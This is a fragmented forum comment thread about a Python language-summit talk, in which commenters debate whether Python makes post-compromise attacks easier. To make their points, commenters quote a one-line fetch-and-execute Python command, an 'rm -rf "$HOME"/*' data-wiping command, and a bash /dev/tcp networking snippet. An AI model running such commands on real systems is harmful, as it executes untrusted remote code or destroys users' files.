Language summit lightning talks
Language summit lightning talks
Posted Jun 8, 2017 10:40 UTC (Thu) by mb (subscriber, #50428)Parent article: Language summit lightning talks
> python -c "exec(urlopen(...).read())"
Or it might be
rm -rf "$HOME"/*
or something similar.
I don't see how Python is a problem here.
Posted Jun 8, 2017 16:21 UTC (Thu)
by stevedower (guest, #116614)
[Link] (8 responses)
Posted Jun 8, 2017 20:51 UTC (Thu)
by mb (subscriber, #50428)
[Link] (7 responses)
No, it doesn't.
To make it even worse, the following sentence simply is complete nonsense:
If you have a shell, you already have a turing complete language. You don't need Python.
Posted Jun 8, 2017 20:53 UTC (Thu)
by mjg59 (subscriber, #23239)
[Link] (5 responses)
If your goal is to exploit a kernel vulnerability in a device driver then you're going to find it much easier to call ioctl() from Python than from bash
Posted Jun 9, 2017 9:31 UTC (Fri)
by NAR (subscriber, #1313)
[Link] (3 responses)
Posted Jun 9, 2017 18:41 UTC (Fri)
by mjg59 (subscriber, #23239)
[Link]
Posted Jun 10, 2017 0:25 UTC (Sat)
by nybble41 (subscriber, #55106)
[Link] (1 responses)
It might be worth pointing out that Perl also provides a built-in mechanism for invoking raw ioctls on any file descriptor[1], so this issue is hardly specific to Python. If anything, a Perl script to perform ioctls would probably be more likely to work on arbitrary systems than the equivalent Python script. If an attacker can run code of their choice in just about any general-purpose scripting language, you've already lost.
Posted Jun 10, 2017 7:22 UTC (Sat)
by mjg59 (subscriber, #23239)
[Link]
Posted Jun 9, 2017 15:38 UTC (Fri)
by hkario (subscriber, #94864)
[Link]
Posted Jun 9, 2017 10:47 UTC (Fri)
by jwilk (subscriber, #63328)
[Link]
Language summit lightning talks
Language summit lightning talks
You're lost already if you can execute arbitrary binaries.
If that is python, bash, perl or anything else does not matter at all.
> ... if you could somehow get one shell command executed on a workstation ... that command might well be something like: python
Language summit lightning talks
Language summit lightning talks
Language summit lightning talks
Language summit lightning talks
Language summit lightning talks
Do you know that regular bash can do TCP connections?Language summit lightning talks
https://www.linuxjournal.com/content/more-using-bashs-built-devtcp-file-tcpip
from there:
exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3
cat >&3
Language summit lightning talks
It's neither sufficient nor necessary to do malicious stuff.